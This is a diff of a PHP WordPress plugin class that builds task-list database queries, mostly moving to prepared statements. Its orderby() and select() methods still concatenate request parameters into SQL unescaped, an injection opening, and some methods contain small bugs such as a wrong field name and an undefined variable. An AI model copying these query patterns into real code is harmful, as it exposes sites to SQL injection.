$list->complete_tasks['data'] = empty( $items[$list->id] ) ? [] : $items[$list->id]; - } - - return $this; - } - - private function incomplete_tasks() { - global $wpdb; - - if ( empty( $this->list_ids ) ) { - return $this; - } - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - if ( ! in_array( 'incomplete_tasks', $with ) || empty( $this->list_ids ) ) { - return $this; - } - - $tb_boardable = pm_tb_prefix() . 'pm_boardables'; - $tb_tasks = pm_tb_prefix() . 'pm_tasks'; - $list_format = pm_get_prepare_format( $this->list_ids ); - $query_data = $this->list_ids; - - $query = "SELECT DISTINCT bor.board_id as list_id, - bor.boardable_id as task_id - FROM $tb_boardable as bor - LEFT JOIN $tb_tasks as tk ON tk.id=bor.boardable_id - where 1=1 - AND bor.board_id IN ($list_format) - AND bor.board_type=%s - AND bor.boardable_type=%s - AND tk.status=%s"; - - array_push( $query_data, 'task_list', 'task', '0' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - $task_ids = wp_list_pluck( $results, 'task_id' ); - - $tasks = Task::get_results([ - 'id' => array_unique( $task_ids ) - ]); - - $tasks = empty( $tasks['data']['id'] ) ? $tasks['data'] : [$tasks['data']]; - $key_tasks = []; - $items = []; - - foreach ( $tasks as $key => $task ) { - if ( empty( $task['id'] ) ) { - continue; - } - - $key_tasks[$task['id']] = $task; - } - - foreach ( $results as $key => $result ) { - $items[$result->list_id][] = $key_tasks[$result->task_id]; - } - - foreach ( $this->lists as $key => $list ) { - $list->incomplete_tasks['data'] = empty( $items[$list->id] ) ? [] : $items[$list->id]; - } - - return $this; - } - - private function milestone() { - global $wpdb; - - if ( empty( $this->list_ids ) ) { - return $this; - } - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - if ( ! in_array( 'milestone', $with ) || empty( $this->list_ids ) ) { - return $this; - } - - $tb_boardable = pm_tb_prefix() . 'pm_boardables'; - $list_format = pm_get_prepare_format( $this->list_ids ); - $query_data = $this->list_ids; - - $query = "SELECT DISTINCT bor.boardable_id as list_id, - bor.board_id as milestone_id - FROM $tb_boardable as bor - where bor.boardable_id IN ($list_format) - AND bor.board_type=%s - AND bor.boardable_type=%s"; - - array_push( $query_data, 'milestone', 'task_list' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - $milestone_ids = wp_list_pluck( $results, 'milestone_id' ); - - $milestones = Milestone::get_results([ - 'id' => array_unique( $milestone_ids ) - ]); - - $milestones = empty( $milestones['data']['id'] ) ? $milestones['data'] : [$milestones['data']]; - $key_milestones = []; - $items = []; - - foreach ( $milestones as $key => $milestone ) { - $key_milestones[$milestone['id']] = $milestone; - } - - foreach ( $results as $key => $result ) { - $items[$result->list_id] = $key_milestones[$result->milestone_id]; - } - - foreach ( $this->lists as $key => $list ) { - $list->milestone['data'] = empty( $items[$list->id] ) ? [] : $items[$list->id]; - } - - return $this; - } - - private function creator() { - if ( empty( $this->list_ids ) ) { - return $this; - } - - $creator_ids = wp_list_pluck( $this->lists, 'created_by' ); - $creator_ids = array_unique( $creator_ids ); - - $creators = pm_get_users( [ 'id' => $creator_ids ] ); - $creators = $creators['data']; - - $items = []; - - foreach ( $creators as $key => $creator ) { - $items[$creator['id']] = $creator; - } - - foreach ( $this->lists as $key => $list ) { - $l_creator = empty( $items[$list->created_by] ) ? [] : $items[$list->created_by]; - - $list->creator = [ 'data' => $l_creator ]; - } - - return $this; - } - - private function updater() { - - if ( empty( $this->list_ids ) ) { - return $this; - } - - $updater_ids = wp_list_pluck( $this->lists, 'updated_by' ); - $updater_ids = array_unique( $updater_ids ); - - $updaters = pm_get_users( [ 'id' => $updater_ids ] ); - $updaters = $updaters['data']; - - $items = []; - - foreach ( $updaters as $key => $updater ) { - $items[$updater['id']] = $updater; - } - - foreach ( $this->lists as $key => $list ) { - $l_updater = empty( $items[$list->updated_by] ) ? [] : $items[$list->updated_by]; - - $list->updater = [ 'data' => $l_updater ]; - } - - return $this; - } - - private function meta() { - - $this->get_meta_tb_data() - ->total_tasks_count() - ->total_complete_tasks_count() - ->total_incomplete_tasks_count() - ->total_comments_count() - ->total_assignees_count(); - - return $this; - } - - private function get_meta_tb_data() { - if ( empty( $this->list_ids ) ) { - return $this; - } - global $wpdb; - $metas = []; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_meta = pm_tb_prefix() . 'pm_meta'; - $tasklist_format = pm_get_prepare_format( $this->list_ids ); - $query_data = $this->list_ids; - - $query = "SELECT DISTINCT $tb_meta.meta_key, $tb_meta.meta_value, $tb_meta.entity_id - FROM $tb_meta - WHERE $tb_meta.entity_id IN ($tasklist_format) - AND $tb_meta.entity_type = %s "; - - array_push( $query_data, 'task_list' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $list_id = $result->entity_id; - unset( $result->entity_id ); - $metas[$list_id][] = $result; - } - - foreach ( $this->lists as $key => $list ) { - $filter_metas = empty( $metas[$list->id] ) ? [] : $metas[$list->id]; - - foreach ( $filter_metas as $key => $filter_meta ) { - $list->meta[$filter_meta->meta_key] = $filter_meta->meta_value; - } - } - - return $this; - } - - private function total_tasks_count() { - global $wpdb; - $metas = []; - $tb_tasks = pm_tb_prefix() . 'pm_tasks'; - $tb_boardable = pm_tb_prefix() . 'pm_boardables'; - $tasklist_format = pm_get_prepare_format( $this->list_ids ); - $query_data = $this->list_ids; - - $query ="SELECT DISTINCT count($tb_tasks.id) as task_count, $tb_boardable.board_id as list_id - FROM $tb_tasks - LEFT JOIN $tb_boardable ON $tb_boardable.boardable_id = $tb_tasks.id - WHERE $tb_boardable.board_id IN ($tasklist_format) - AND $tb_boardable.boardable_type=%s - AND $tb_boardable.board_type=%s - group by $tb_boardable.board_id - "; - - array_push( $query_data, 'task', 'task_list' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $list_id = $result->list_id; - unset($result->list_id); - $metas[$list_id] = $result->task_count; - } - - foreach ( $this->lists as $key => $list ) { - $list->meta['total_tasks'] = empty( $metas[$list->id] ) ? 0 : $metas[$list->id]; - } - - return $this; - } - - private function total_complete_tasks_count() { - global $wpdb; - $metas = []; - $tb_tasks = pm_tb_prefix() . 'pm_tasks'; - $tb_boardable = pm_tb_prefix() . 'pm_boardables'; - $tasklist_format = pm_get_prepare_format( $this->list_ids ); - $query_data = $this->list_ids; - - $query ="SELECT DISTINCT count($tb_tasks.id) as task_count, $tb_boardable.board_id as list_id FROM $tb_tasks - LEFT JOIN $tb_boardable ON $tb_boardable.boardable_id = $tb_tasks.id - WHERE $tb_boardable.board_id IN ($tasklist_format) - AND $tb_boardable.boardable_type=%s - AND $tb_boardable.board_type=%s - AND $tb_tasks.status = %d - group by $tb_boardable.board_id - "; - - array_push( $query_data, 'task', 'task_list', '1' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $list_id = $result->list_id; - unset($result->list_id); - $metas[$list_id] = $result->task_count; - } - - foreach ( $this->lists as $key => $list ) { - $list->meta['total_complete_tasks'] = empty( $metas[$list->id] ) ? 0 : $metas[$list->id]; - } - - return $this; - } - - private function total_incomplete_tasks_count() { - global $wpdb; - $metas = []; - $tb_tasks = pm_tb_prefix() . 'pm_tasks'; - $tb_boardable = pm_tb_prefix() . 'pm_boardables'; - $tasklist_format = pm_get_prepare_format( $this->list_ids ); - $query_data = $this->list_ids; - - $query ="SELECT DISTINCT count($tb_tasks.id) as task_count, $tb_boardable.board_id as list_id FROM $tb_tasks - LEFT JOIN $tb_boardable ON $tb_boardable.boardable_id = $tb_tasks.id - WHERE $tb_boardable.board_id IN ($tasklist_format) - AND $tb_boardable.boardable_type=%s - AND $tb_boardable.board_type=%s - AND $tb_tasks.status = %d - group by $tb_boardable.board_id - "; - - array_push( $query_data, 'task', 'task_list', '0' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $list_id = $result->list_id; - unset($result->list_id); - $metas[$list_id] = $result->task_count; - } - - foreach ( $this->lists as $key => $list ) { - $list->meta['total_incomplete_tasks'] = empty( $metas[$list->id] ) ? 0 : $metas[$list->id]; - } - - return $this; - } - - private function total_comments_count() { - global $wpdb; - $metas = []; - $tb_pm_comments = pm_tb_prefix() . 'pm_comments'; - $tb_boards = pm_tb_prefix() . 'pm_boards'; - $tasklist_format = pm_get_prepare_format( $this->list_ids ); - $query_data = $this->list_ids; - - $query ="SELECT DISTINCT count($tb_pm_comments.id) as comment_count, - $tb_boards.id as list_id FROM $tb_pm_comments - LEFT JOIN $tb_boards ON $tb_boards.id = $tb_pm_comments.commentable_id - WHERE $tb_boards.id IN ($tasklist_format) - AND $tb_pm_comments.commentable_type = %s - group by $tb_boards.id - "; - - array_push( $query_data, 'task_list' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $list_id = $result->list_id; - unset($result->list_id); - $metas[$list_id] = $result->comment_count; - } - - foreach ( $this->lists as $key => $list ) { - $list->meta['total_comments'] = empty( $metas[$list->id] ) ? 0 : $metas[$list->id]; - } - - return $this; - } - - private function total_assignees_count() { - global $wpdb; - $metas = []; - $tb_users = $wpdb->base_prefix . 'users'; - $tb_user_meta = $wpdb->base_prefix . 'usermeta'; - $tb_boardable = pm_tb_prefix() . 'pm_boardables'; - $tasklist_format = pm_get_prepare_format( $this->list_ids ); - $query_data = $this->list_ids; - - if ( is_multisite() ) { - $meta_key = pm_user_meta_key(); - - $query ="SELECT DISTINCT count($tb_users.id) as user_count, - $tb_boardable.board_id as list_id - FROM $tb_users - LEFT JOIN $tb_boardable ON $tb_boardable.boardable_id = $tb_users.ID - LEFT JOIN $tb_user_meta as umeta ON umeta.user_id = $tb_users.ID - WHERE $tb_boardable.board_id IN ( $tasklist_format ) - AND $tb_boardable.board_type = %s - AND $tb_boardable.boardable_type = %s - AND umeta.meta_key='$meta_key' - group by $tb_boardable.board_id - "; - } else { - $query ="SELECT DISTINCT count($tb_users.id) as user_count, - $tb_boardable.board_id as list_id - FROM $tb_users - LEFT JOIN $tb_boardable ON $tb_boardable.boardable_id = $tb_users.id - WHERE $tb_boardable.board_id IN ( $tasklist_format ) - AND $tb_boardable.board_type = %s - AND $tb_boardable.boardable_type = %s - group by $tb_boardable.board_id - "; - } - - array_push( $query_data, 'task_list', 'user' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $list_id = $result->list_id; - unset($result->list_id); - $metas[$list_id] = $result->comment_count; - } - - foreach ( $this->lists as $key => $list ) { - $list->meta['total_assignees'] = empty( $metas[$list->id] ) ? 0 : $metas[$list->id]; - } - - return $this; - } - - private function get_selectable_items( $tb, $key ) { - $select = ''; - $select_items = $this->query_params[$key]; - - if ( empty( $select_items ) ) { - $select = $tb . '.*'; - } - - $select_items = str_replace( ' ', '', $select_items ); - $select_items = explode( ',', $select_items ); - - foreach ( $select_items as $key => $item ) { - $select .= $tb . '.' . $item . ','; - } - - return substr( $select, 0, -1 ); - } - - private function select() { - $select = ''; - - if ( empty( $this->query_params['select'] ) ) { - $this->select = $this->tb_list . '.*'; - - return $this; - } - - $select_items = $this->query_params['select']; - - if ( ! is_array( $select_items ) ) { - $select_items = str_replace( ' ', '', $select_items ); - $select_items = explode( ',', $select_items ); - } - - foreach ( $select_items as $key => $item ) { - $item = str_replace( ' ', '', $item ); - $select .= $this->tb_list . '.' . $item . ','; - } - - $this->select = substr( $select, 0, -1 ); - - return $this; - } - - private function join() { - return $this; - } - - private function where() { - $this->where_id() - ->where_project_id() - ->where_task_id() - ->where_title(); - - return $this; - } - - /** - * Filter list by ID - * - * @return class object - */ - private function where_id() { - - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - if ( empty( $id ) ) { - return $this; - } - - global $wpdb; - $format = pm_get_prepare_format( $id ); - $format_ids = pm_get_prepare_data( $id ); - - $this->where .= $wpdb->prepare( " AND {$this->tb_list}.id IN ($format)", $format_ids ); - - if ( count( $format_ids ) == 1 ) { - $this->is_single_query = true; - } - - return $this; - } - - /** - * Filter task by title - * - * @return class object - */ - private function where_title() { - global $wpdb; - $title = isset( $this->query_params['title'] ) ? $this->query_params['title'] : false; - - if ( empty( $title ) ) { - return $this; - } - - // $this->where .= " AND {$this->tb_list}.title LIKE '%$title%'"; - $this->where .= $wpdb->prepare( " AND {$this->tb_list}.title LIKE %s", '%'.$title.'%' ); - - return $this; - } - - private function where_project_id() { - global $wpdb; - $id = isset( $this->query_params['project_id'] ) ? $this->query_params['project_id'] : false; - - if ( empty( $id ) ) { - return $this; - } - - if ( is_array( $id ) ) { - //$query_id = implode( ',', $id ); - //$this->where .= " AND {$this->tb_list}.project_id IN ($query_id)"; - $query_format = pm_get_prepare_format( $id ); - $this->where .= $wpdb->prepare( " AND {$this->tb_list}.project_id IN ($query_format)", $id ); - } - - if ( !is_array( $id ) ) { - // $this->where .= " AND {$this->tb_list}.project_id = $id"; - $this->where .= $wpdb->prepare( " AND {$this->tb_list}.project_id IN (%d)", $id ); - } - - return $this; - } - - private function where_task_id() { - $task_ids = isset( $this->query_params['task_id'] ) ? $this->query_params['task_id'] : false; - - if ( empty( $tasks ) ) { - return $this; - } - - $format = pm_get_prepare_format( $task_ids ); - $task_ids = pm_get_prepare_data( $task_ids ); - - global $wpdb; - $tb_boardables = pm_tb_prefix() . 'pm_boardables'; - - $this->join .= " LEFT JOIN {$tb_boardables} ON $tb_boardables.board_id={$this->tb_list}.id"; - - $this->where .= $wpdb->prepare( " AND $tb_boardables.boardable_id IN ($format) AND boardable_type=%s", $task_ids, 'task' ); - - return $this; - } - - private function where_sub_task_id() { - $sub_task_ids = isset( $this->query_params['sub_task_id'] ) ? $this->query_params['sub_task_id'] : false; - - if ( empty( $sub_tasks ) ) { - return $this; - } - - $format = pm_get_prepare_format( $sub_task_ids ); - $sub_task_ids = pm_get_prepare_data( $sub_task_ids ); - - global $wpdb; - $tb_boardables = pm_tb_prefix() . 'pm_boardables'; - - $this->join .= " LEFT JOIN {$tb_boardables} ON $tb_boardables.board_id={$this->tb_list}.id"; - - $this->where .= $wpdb->prepare( " AND $tb_boardables.boardable_id IN ($format) AND boardable_type=%s", $sub_task_ids, 'sub_task' ); - - return $this; - } - - private function limit() { - global $wpdb; - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( $per_page === false || $per_page == '-1' ) { - return $this; - } - - // $this->limit = " LIMIT {$this->get_offset()},{$this->get_per_page()}"; - $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); - - return $this; - } - - private function orderby() { - global $wpdb; - - $tb_pj = $wpdb->prefix . 'pm_boards'; - $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; - - if ( $odr_prms === false && !is_array( $odr_prms ) ) { - return $this; - } - - $orders = []; - - $odr_prms = str_replace( ' ', '', $odr_prms ); - $odr_prms = explode( ',', $odr_prms ); - - foreach ( $odr_prms as $key => $orderStr ) { - $orderStr = str_replace( ' ', '', $orderStr ); - $orderStr = explode( ':', $orderStr ); - $orderby = $orderStr[0]; - $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; - $orders[$orderby] = $order; - } - - $order = []; - - foreach ( $orders as $key => $value ) { - $order[] = $tb_pj .'.'. $key . ' ' . $value; - } - - $this->orderby = "ORDER BY " . implode( ', ', $order); - - return $this; - } - - private function get_offset() { - $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; - - $page = empty( $page ) ? 1 : absint( $page ); - $limit = $this->get_per_page(); - $offset = ( $page - 1 ) * $limit; - - return $offset; - } - - private function get_per_page() { - - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( ! empty( $per_page ) && intval( $per_page ) ) { - return intval( $per_page ); - } - - $per_page = pm_get_setting( 'list_per_page' ); - - return empty( $per_page ) ? 10 : (int) $per_page; - } - - private function get() { - global $wpdb; - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_list}.* - FROM {$this->tb_list} - {$this->join} - WHERE %d=%d {$this->where} AND $this->tb_list.type=%s - {$this->orderby} {$this->limit} "; - - $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1, 'task_list' ) ); - - $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); - $this->lists = $results; - - if ( ! empty( $results ) && is_array( $results ) ) { - $this->list_ids = wp_list_pluck( $results, 'id' ); - } - - if ( ! empty( $results ) && !is_array( $results ) ) { - $this->list_ids = [$results->id]; - } - - return $this; - } - - private function set_table_name() { - $this->tb_project = pm_tb_prefix() . 'pm_projects'; - $this->tb_list = pm_tb_prefix() . 'pm_boards'; - $this->tb_task = pm_tb_prefix() . 'pm_tasks'; - $this->tb_project_user = pm_tb_prefix() . 'pm_role_user'; - $this->tb_task_user = pm_tb_prefix() . 'pm_assignees'; - $this->tb_categories = pm_tb_prefix() . 'pm_categories'; - $this->tb_category_project = pm_tb_prefix() . 'pm_category_project'; - } -} +'asc', 'id'=>desc] +// list_meta: 'total_task_lists,total_tasks,total_complete_tasks,total_incomplete_tasks,total_$this->list_ids,total_milestones,total_comments,total_files,total_activities' +// }, + +class Task_List { + private static $_instance; + private $query_params; + private $select; + private $join; + private $where; + private $limit; + private $orderby; + private $with = ['creator', 'updater', 'milestone']; + private $lists; + private $list_ids; + private $is_single_query = false; + + public static function getInstance() { + return new self(); + } + + function __construct() { + $this->set_table_name(); + } + + public static function get_task_lists( WP_REST_Request $request ) { + $lists = self::get_results( $request->get_params() ); + + wp_send_json( $lists ); + } + + public static function get_results( $params ) { + $self = self::getInstance(); + $self->query_params = $params; + + $self->join() + ->where() + ->limit() + ->orderby() + ->get() + ->with() + ->meta(); + + $response = $self->format_tasklists( $self->lists ); + + if ( pm_is_single_query( $params ) ) { + return ['data' => $response['data'][0]] ; + } + + return $response; + } + + /** + * Format TaskList data + * + * @param array $tasklists + * + * @return array + */ + public function format_tasklists( $tasklists ) { + $response = [ + 'data' => [], + 'meta' => [] + ]; + + foreach ( $tasklists as $key => $tasklist ) { + $tasklists[$key] = $this->fromat_tasklist( $tasklist ); + } + + $response['data'] = $tasklists; + $response ['meta'] = $this->set_tasklist_meta(); + + return $response; + } + + /** + * Set meta data + */ + private function set_tasklist_meta() { + return [ + 'pagination' => [ + 'total' => $this->found_rows, + 'per_page' => ceil( $this->found_rows/$this->get_per_page() ) + ] + ]; + } + + public function fromat_tasklist( $tasklist ) { + $items = [ + 'id' => (int) $tasklist->id, + 'title' => isset( $tasklist->title ) ? (string) $tasklist->title : null, + 'description' => isset( $tasklist->description ) ? pm_filter_content_url( $tasklist->description ) : null, + 'order' => isset( $tasklist->order ) ? (int) $tasklist->order : null, + 'status' => isset( $tasklist->status ) ? $tasklist->status : null, + 'created_at' => isset( $tasklist->status ) ? format_date( $tasklist->created_at ) : null, + 'extra' => true, + 'project_id' => isset( $tasklist->project_id ) ? $tasklist->project_id : null, + 'meta' => $tasklist->meta + ]; + + $items = $this->item_with( $items, $tasklist ); + + return $items; + } + + private function item_with( $items, $tasklist ) { + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', $with ); + } + + $with = array_merge( $this->with, $with ); + + $tasklist_with_items = array_intersect_key( (array) $tasklist, array_flip( $with ) ); + + $items = array_merge($items,$tasklist_with_items); + + return $items; + } + + private function with() { + $this->milestone() + ->complete_tasks() + ->incomplete_tasks() + ->creator() + ->updater() + ->comments() + ->files(); + + $this->lists = apply_filters( 'pm_tasklist_with',$this->lists, $this->list_ids, $this->query_params ); + + return $this; + } + + private function comments() { + global $wpdb; + + if ( empty( $this->list_ids ) ) { + return $this; + } + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + if ( ! in_array( 'comments', $with ) || empty( $this->list_ids ) ) { + return $this; + } + + $tb_comments = pm_tb_prefix() . 'pm_comments'; + $list_format = pm_get_prepare_format( $this->list_ids ); + $query_data = $this->list_ids; + + $query ="SELECT DISTINCT com.id as comment_id, com.commentable_id as list_id + FROM $tb_comments as com + WHERE com.commentable_id IN ($list_format) + AND com.commentable_type = %s + "; + + array_push( $query_data, 'task_list' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + $comment_ids = wp_list_pluck( $results, 'comment_id' ); + + $comments = Comment::get_results([ + 'id' => array_unique( $comment_ids ) + ]); + + $comments = empty( $comments['data']['id'] ) ? $comments['data'] : [$comments['data']]; + $key_comments = []; + $items = []; + + foreach ( $comments as $key => $comment ) { + if ( empty( $comment['id'] ) ) { + continue; + } + + $key_comments[$comment['id']] = $comment; + } + + foreach ( $results as $key => $result ) { + $items[$result->list_id][] = $key_comments[$result->comment_id]; + } + + foreach ( $this->lists as $key => $list ) { + $list->comments['data'] = empty( $items[$list->id] ) ? [] : $items[$list->id]; + } + + return $this; + } + + private function files() { + global $wpdb; + + if ( empty( $this->list_ids ) ) { + return $this; + } + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + if ( ! in_array( 'files', $with ) || empty( $this->list_ids ) ) { + return $this; + } + + $tb_files = pm_tb_prefix() . 'pm_files'; + $list_format = pm_get_prepare_format( $this->list_ids ); + $query_data = $this->list_ids; + + $query = "SELECT DISTINCT fil.id as file_id, + fil.fileable_id as list_id + FROM $tb_files as fil + where fil.fileable_id IN ($list_format) + AND fil.fileable_type=%s"; + + array_push( $query_data, 'task_list' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + $file_ids = wp_list_pluck( $results, 'file_id' ); + + $files = File::get_results([ + 'id' => array_unique( $file_ids ) + ]); + + $files = empty( $files['data']['id'] ) ? $files['data'] : [$files['data']]; + $key_files = []; + $items = []; + + foreach ( $files as $key => $file ) { + if ( empty( $file['id'] ) ) { + continue; + } + + $key_files[$file['id']] = $file; + } + + foreach ( $results as $key => $result ) { + $items[$result->list_id][] = $key_files[$result->file_id]; + } + + foreach ( $this->lists as $key => $list ) { + $list->files['data'] = empty( $items[$list->id] ) ? [] : $items[$list->id]; + } + + return $this; + } + + private function complete_tasks() { + global $wpdb; + + if ( empty( $this->list_ids ) ) { + return $this; + } + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + if ( ! in_array( 'complete_tasks', $with ) || empty( $this->list_ids ) ) { + return $this; + } + + $tb_boardable = pm_tb_prefix() . 'pm_boardables'; + $tb_tasks = pm_tb_prefix() . 'pm_tasks'; + $list_format = pm_get_prepare_format( $this->list_ids ); + $query_data = $this->list_ids; + + $query = "SELECT DISTINCT bor.board_id as list_id, + bor.boardable_id as task_id + FROM $tb_boardable as bor + LEFT JOIN $tb_tasks as tk ON tk.id=bor.boardable_id + where 1=1 + AND bor.board_id IN ($list_format) + AND bor.board_type=%s + AND bor.boardable_type=%s + AND tk.status=%s"; + + array_push( $query_data, 'task_list', 'task', '1' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + $task_ids = wp_list_pluck( $results, 'task_id' ); + + $tasks = Task::get_results([ + 'id' => array_unique( $task_ids ) + ]); + + $tasks = empty( $tasks['data']['id'] ) ? $tasks['data'] : [$tasks['data']]; + $key_tasks = []; + $items = []; + + foreach ( $tasks as $key => $task ) { + if ( empty( $task['id'] ) ) { + continue; + } + + $key_tasks[$task['id']] = $task; + } + + foreach ( $results as $key => $result ) { + $items[$result->list_id][] = $key_tasks[$result->task_id]; + } + + foreach ( $this->lists as $key => $list ) { + $list->complete_tasks['data'] = empty( $items[$list->id] ) ? [] : $items[$list->id]; + } + + return $this; + } + + private function incomplete_tasks() { + global $wpdb; + + if ( empty( $this->list_ids ) ) { + return $this; + } + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + if ( ! in_array( 'incomplete_tasks', $with ) || empty( $this->list_ids ) ) { + return $this; + } + + $tb_boardable = pm_tb_prefix() . 'pm_boardables'; + $tb_tasks = pm_tb_prefix() . 'pm_tasks'; + $list_format = pm_get_prepare_format( $this->list_ids ); + $query_data = $this->list_ids; + + $query = "SELECT DISTINCT bor.board_id as list_id, + bor.boardable_id as task_id + FROM $tb_boardable as bor + LEFT JOIN $tb_tasks as tk ON tk.id=bor.boardable_id + where 1=1 + AND bor.board_id IN ($list_format) + AND bor.board_type=%s + AND bor.boardable_type=%s + AND tk.status=%s"; + + array_push( $query_data, 'task_list', 'task', '0' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + $task_ids = wp_list_pluck( $results, 'task_id' ); + + $tasks = Task::get_results([ + 'id' => array_unique( $task_ids ) + ]); + + $tasks = empty( $tasks['data']['id'] ) ? $tasks['data'] : [$tasks['data']]; + $key_tasks = []; + $items = []; + + foreach ( $tasks as $key => $task ) { + if ( empty( $task['id'] ) ) { + continue; + } + + $key_tasks[$task['id']] = $task; + } + + foreach ( $results as $key => $result ) { + $items[$result->list_id][] = $key_tasks[$result->task_id]; + } + + foreach ( $this->lists as $key => $list ) { + $list->incomplete_tasks['data'] = empty( $items[$list->id] ) ? [] : $items[$list->id]; + } + + return $this; + } + + private function milestone() { + global $wpdb; + + if ( empty( $this->list_ids ) ) { + return $this; + } + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + if ( ! in_array( 'milestone', $with ) || empty( $this->list_ids ) ) { + return $this; + } + + $tb_boardable = pm_tb_prefix() . 'pm_boardables'; + $list_format = pm_get_prepare_format( $this->list_ids ); + $query_data = $this->list_ids; + + $query = "SELECT DISTINCT bor.boardable_id as list_id, + bor.board_id as milestone_id + FROM $tb_boardable as bor + where bor.boardable_id IN ($list_format) + AND bor.board_type=%s + AND bor.boardable_type=%s"; + + array_push( $query_data, 'milestone', 'task_list' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + $milestone_ids = wp_list_pluck( $results, 'milestone_id' ); + + $milestones = Milestone::get_results([ + 'id' => array_unique( $milestone_ids ) + ]); + + $milestones = empty( $milestones['data']['id'] ) ? $milestones['data'] : [$milestones['data']]; + $key_milestones = []; + $items = []; + + foreach ( $milestones as $key => $milestone ) { + $key_milestones[$milestone['id']] = $milestone; + } + + foreach ( $results as $key => $result ) { + $items[$result->list_id] = $key_milestones[$result->milestone_id]; + } + + foreach ( $this->lists as $key => $list ) { + $list->milestone['data'] = empty( $items[$list->id] ) ? [] : $items[$list->id]; + } + + return $this; + } + + private function creator() { + if ( empty( $this->list_ids ) ) { + return $this; + } + + $creator_ids = wp_list_pluck( $this->lists, 'created_by' ); + $creator_ids = array_unique( $creator_ids ); + + $creators = pm_get_users( [ 'id' => $creator_ids ] ); + $creators = $creators['data']; + + $items = []; + + foreach ( $creators as $key => $creator ) { + $items[$creator['id']] = $creator; + } + + foreach ( $this->lists as $key => $list ) { + $l_creator = empty( $items[$list->created_by] ) ? [] : $items[$list->created_by]; + + $list->creator = [ 'data' => $l_creator ]; + } + + return $this; + } + + private function updater() { + + if ( empty( $this->list_ids ) ) { + return $this; + } + + $updater_ids = wp_list_pluck( $this->lists, 'updated_by' ); + $updater_ids = array_unique( $updater_ids ); + + $updaters = pm_get_users( [ 'id' => $updater_ids ] ); + $updaters = $updaters['data']; + + $items = []; + + foreach ( $updaters as $key => $updater ) { + $items[$updater['id']] = $updater; + } + + foreach ( $this->lists as $key => $list ) { + $l_updater = empty( $items[$list->updated_by] ) ? [] : $items[$list->updated_by]; + + $list->updater = [ 'data' => $l_updater ]; + } + + return $this; + } + + private function meta() { + + $this->get_meta_tb_data() + ->total_tasks_count() + ->total_complete_tasks_count() + ->total_incomplete_tasks_count() + ->total_comments_count() + ->total_assignees_count(); + + return $this; + } + + private function get_meta_tb_data() { + if ( empty( $this->list_ids ) ) { + return $this; + } + global $wpdb; + $metas = []; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_meta = pm_tb_prefix() . 'pm_meta'; + $tasklist_format = pm_get_prepare_format( $this->list_ids ); + $query_data = $this->list_ids; + + $query = "SELECT DISTINCT $tb_meta.meta_key, $tb_meta.meta_value, $tb_meta.entity_id + FROM $tb_meta + WHERE $tb_meta.entity_id IN ($tasklist_format) + AND $tb_meta.entity_type = %s "; + + array_push( $query_data, 'task_list' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $list_id = $result->entity_id; + unset( $result->entity_id ); + $metas[$list_id][] = $result; + } + + foreach ( $this->lists as $key => $list ) { + $filter_metas = empty( $metas[$list->id] ) ? [] : $metas[$list->id]; + + foreach ( $filter_metas as $key => $filter_meta ) { + $list->meta[$filter_meta->meta_key] = $filter_meta->meta_value; + } + } + + return $this; + } + + private function total_tasks_count() { + global $wpdb; + $metas = []; + $tb_tasks = pm_tb_prefix() . 'pm_tasks'; + $tb_boardable = pm_tb_prefix() . 'pm_boardables'; + 